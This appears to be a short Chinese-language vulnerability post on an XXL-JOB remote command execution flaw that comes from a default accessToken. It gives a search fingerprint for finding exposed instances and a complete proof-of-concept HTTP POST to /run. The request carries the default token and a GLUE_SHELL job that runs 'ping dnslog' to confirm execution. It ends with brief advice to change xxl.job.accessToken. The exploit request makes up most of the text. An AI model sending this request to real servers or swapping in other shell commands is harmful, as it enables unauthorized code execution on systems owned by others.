XXL-JOB远程命令执行漏洞
1.简介
经工作发现,该漏洞是由于XXL-JOB 在默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值,如果用户没有修改该默认值,攻击者可利用该默认值在未授权的情况下绕过认证,可能导致攻击者远程代码执行。
2.资产测绘
web.body="HttpMethod"
3.poc
这里使用dnslog进行验证
POST /run HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host:
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default token
Upgrade-Insecure-Requests: 1
Content-Length: 333
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "SERIAL_EXECUTION",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586373637819,
"glueType": "GLUE_SHELL",
"glueSource": "ping dnslog",
"glueUpdatetime": 1586693836766,
"broadcastIndex": 0,
"broadcastTotal": 0
}
4.修复建议
当前官方已发布修复建议,建议受影响的用户及时修改调度中心和执行器配置项 xxl.job.accessToken 的默认值。
更多推荐
所有评论(0)